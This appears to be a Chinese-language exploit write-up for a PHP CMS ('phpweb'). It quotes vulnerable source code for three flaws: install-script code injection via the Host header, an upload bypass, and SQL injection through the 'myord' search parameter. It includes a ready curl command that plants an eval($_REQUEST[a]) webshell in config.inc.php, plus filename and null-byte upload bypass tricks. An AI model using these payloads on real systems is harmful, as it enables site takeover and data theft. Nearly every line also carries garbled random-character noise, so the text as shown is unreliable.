注入:6 V4 ^/ K* s x& v& v
_ o8 \- U. \( r1 u
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码, y* _* ^( ]+ S
. o% s. n& ]$ `, Q
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件3 I7 E2 s' `4 [$ E4 p' ?- A' W, j s
鸡肋2: 有一定安全常识的站长都会删掉 install 目录, L0 I( e6 I1 Y$ r+ h) p% g s
R$ o. G x) s' x, _& h& t% ^
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响& @7 V9 {) ]0 b( F3 b) T
9 B- p( \1 h# e; t% K: r! P
分析:% }" U- I4 f1 l" \
* n$ M; g# i( I0 J) b
4 v& T$ h, @! G3 m7 `
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤0 j( M9 h4 [/ A# k' S
7 k4 D0 v9 b! S1 z1 E $filestr = fread(fopen($SysConfigFile, 'r'),30000);' k2 ?; E9 ~4 r4 [* D( ?
$filestr=str_replace(" ","",$filestr);
& U6 ~ \% U8 p, P' j- r/ ^0 X $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);+ a7 {2 O4 ^$ i% a# v* h$ J7 t
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
" @% y/ D; D6 h: U $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
$ r* r4 i- [6 e# H( K$ q' k+ K1 d# e $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);) z# m/ L( y; O) S8 ]9 `
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);$ ^ o/ W8 S' K3 Q
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
. |5 z+ c: E6 m% u $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);' U% l; O% n2 d" j1 ]7 y: c
' j o/ m" V# f- ?- h
fwrite(fopen($ConFile,"w"),$filestr,30000);& p( D% _3 |0 l% z; B
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
& i$ F& e4 O K5 W& x; _2 u8 r4 Z/ J
. @. n2 c$ y! @6 v# ~/ f( o9 Opoc:
1 U J4 j0 x% Y! N2 u1 w' ^& b
' @ t3 {8 D! `, |? g. @0 _$ n7 O* `
1
# u0 x+ ~+ k# f3 k( e9 a Kcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"* M2 B. i% }2 m7 e' F9 I& O
shell地址: /config.inc.php
5 z4 U8 o; ~/ R/ B- i/ ^. L跟之前的 phpcms一样 需要远程数据库 H/ c2 ?& a( V+ |( p# j
2 d/ k5 Z/ I7 p
——————————————————–8 @0 {' } R9 P
上传漏洞(需要进后台):
2 W# R- T2 `, N漏洞文件: /kedit/upload_cgi/upload.php
) G: C9 q' Y) a这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用& y, L/ \/ G5 S5 m3 F
( i8 I& j0 R$ v. a% r
3 ?2 \4 G. {7 k<?php9 ~$ x: _" T6 [: x
define("ROOTPATH", "../../");
6 N" B' Y5 K6 O+ n) G, y include(ROOTPATH."includes/admin.inc.php");: v7 g# ?3 D' e4 Z9 ]1 T' }: Z
NeedAuth(0);4 ]; c1 Y6 M+ O( Y
7 V0 t% t( B. c1 C0 M: V2 v' m/ ~
$dt=date("Ymd",time());
0 n D# @# `" |: b' x if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
. D) h* w q: C @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);- D9 d* Z5 `/ g, N9 U' I$ _. Y& C7 r
}# Z+ K8 ^) ]2 d+ c
B9 C% U# P+ k* H% n6 R //文件保存目录路径8 ]% M' W- q4 X; _+ V+ F0 s2 E
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';& v K6 a* a8 S3 ^' p
echo $save_path;; V# `# q7 K% F8 W# m
//文件保存目录URL
" u' {! @1 j, F( E$ T" ` $save_url = '../../'.$_POST['attachPath'].$dt.'/';, `; c7 L& D+ n& G
$ Q! {( L# g- {/ s% w5 B8 ~ //定义允许上传的文件扩展名& `0 ~9 k* A: k7 u V3 }: M
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀% N+ ^& [4 R( r( h7 Z
! K% E6 Z: `- j" o7 G& B //最大文件大小" H/ v& p7 i: k% |* u. b* x; ~
$max_size = 1000000;
( r6 u3 V2 t' ^$ H X/ {
6 J/ [* u+ _- Q1 q //更改目录权限
: _' E1 f9 k0 m# O2 b6 Z" w' q @mkdir($save_path, 0777);
/ x" \( q% \# q9 F
0 p. a( [- A8 F) I2 ?$ |+ \ //文件的全部路径$ Q2 D2 k8 }2 I3 J/ o
$file_path = $save_path.$_POST['fileName']; //保存文件名
* y, i+ y' ~* c9 [2 G & z8 I& ]( I$ F( K+ D
//文件URL1 L3 A; ^+ ? L9 E8 Q" l
$file_url = $save_url.$_POST['fileName'];
, n* { P: `4 C5 ]1 U6 q+ a3 f//有上传文件时! [' v0 Q" ~/ J: C
if (empty($_FILES) === false) {2 \* y8 w# n* |! x- [9 b) c
9 D: k% z1 W( s8 o* \0 k: g; P) D
//原文件名( J& E- i; T" J U
$file_name = $_FILES['fileData']['name'];
5 M6 L) i4 A9 _1 @3 ~- n //服务器上临时文件名- n6 ^( j6 _2 H5 P8 c
$tmp_name = $_FILES['fileData']['tmp_name'];- Z N9 m" s b# l1 T0 o
//文件大小
! ]* g. ?, C: f' H H; Z) j $file_size = $_FILES['fileData']['size'];
' b& ~0 h$ L1 d; v, p) R" C //检查目录
4 R. b2 |' f; J; k: o$ V if (@is_dir($save_path) === false) {% U" e5 Q3 R( G( `$ p
alert("上传目录不存在。");. Y2 A* a$ F' N3 F8 |3 ^. R
}5 O7 Q4 b" V7 C% q3 \
//检查目录写权限
0 O% W6 q- H5 B0 X0 d: p$ y4 P if (@is_writable($save_path) === false) {
0 S, P4 O- U( x( m+ ] alert("上传目录没有写权限。");
2 Z/ \; a n8 D. z' g }& r6 Q: Y- J% a! J
//检查是否已上传
* v: d$ N x+ `' h if (@is_uploaded_file($tmp_name) === false) {
& A: M& E, t( q+ N alert("临时文件可能不是上传文件。");0 a& Y# \, _" d X- t
}9 |2 j+ j7 r8 i: A5 O; D
//检查文件大小% y/ H6 x# N3 q6 w3 \
if ($file_size > $max_size) {
( ~4 ~3 D2 T4 U! w2 g alert("上传文件大小超过限制。");* N& Z. L, Z0 c1 z, _5 Y8 h
}
2 P& t8 t% L$ a& {8 m# N6 F //获得文件扩展名
( O. q: r# @; r; ] $temp_arr = explode(".", $_POST['fileName']);/ c& Z1 m6 W! f
$file_ext = array_pop($temp_arr);6 A% n- S0 a+ o1 r, v: L
$file_ext = trim($file_ext);' s8 c1 m7 Q4 z0 K( x! p
$file_ext = strtolower($file_ext);
8 {. b$ C2 E7 p. `( b" u9 L1 Z% ] 6 I& d0 }! z9 I. ^. Q5 y' q, z
//检查扩展名 & ~6 o% a1 N- q* W9 b
if (in_array($file_ext, $ext_arr) === false) {
$ j5 @+ b- c/ D8 B% m8 [9 F alert("上传文件扩展名是不允许的扩展名。");$ }3 R9 k9 v% L7 k
}
7 F1 K% Z2 {2 f. Z% n
. l2 W% p$ N) L* D' q" t7 u* \% F7 R //移动文件 0 A+ _) j4 J/ `6 h N
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
9 P2 |# b8 S" t; g+ I if (move_uploaded_file($tmp_name, $file_path) === false) {
4 M) w- F- ]: \" E) \# e1 l alert("上传文件失败。");2 ~- G& i+ t& N! @: g$ x
}# f- W/ w7 c* o: n
# w p# m( ^4 V! @& X; Y @chmod($file_path,0666);
7 h$ g9 R4 X- T9 V9 B' B
4 V2 _+ ?! `* k" X ?>
8 X$ x* D3 X& s/ p抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
B7 J* J. ?( t; B+ z
+ ]- {5 J' N0 T6 j) I& B1 D4 Dapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
8 @3 M6 c7 d( d" r & z( d4 P0 ~! {7 M: e( Q
——————————————————
6 F" W6 F, `1 [; ]% z, j. M注入漏洞:
9 j% f( w. t1 J8 G+ c m/ `7 [+ q漏洞文件:search/module/search.php& N% ^! y! n0 ]6 I
/search/index.php?key=1&myord=1 [sqlinjection]
+ K/ b, e9 _7 @
8 R I/ x+ q! C. b5 s2 J: t
/ X% K8 F7 k3 k. j' r2 d<?php- f$ i( }9 d$ Z! l4 f4 f
// ... 省略 n 行...
X2 z) N, T& M+ C: a //第18行:
: r8 W# x. Q8 k. c8 g $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
1 l9 r3 d8 Y* T. Q1 `7 u6 m $page=htmlspecialchars($_GET["page"]);
7 c* c" l7 T v- Q" Y- x $myord=htmlspecialchars($_GET["myord"]);
- {9 } Z& |7 _) l
) G% l* a7 Q& V4 d4 ] // ... 省略 n 行...
, I/ o; E6 s; E0 }3 M $key,$myord 两个参数带入查询
5 E; R; }4 v" A; V$ ] //第47行 $key:; n: @9 j, u" ?, Q5 w$ B
5 V2 D3 t6 n, x% c% u% f0 b $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
( f, I( h: A* j x 3 t! e9 E, n) I5 l; }
//第197行 $myord+ S. w! u' F# B4 G6 ]$ k- l
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入. f1 B- A9 i8 Z
8 Z4 j8 z+ e6 S* S ?>
& h5 I& B2 d- M3 z |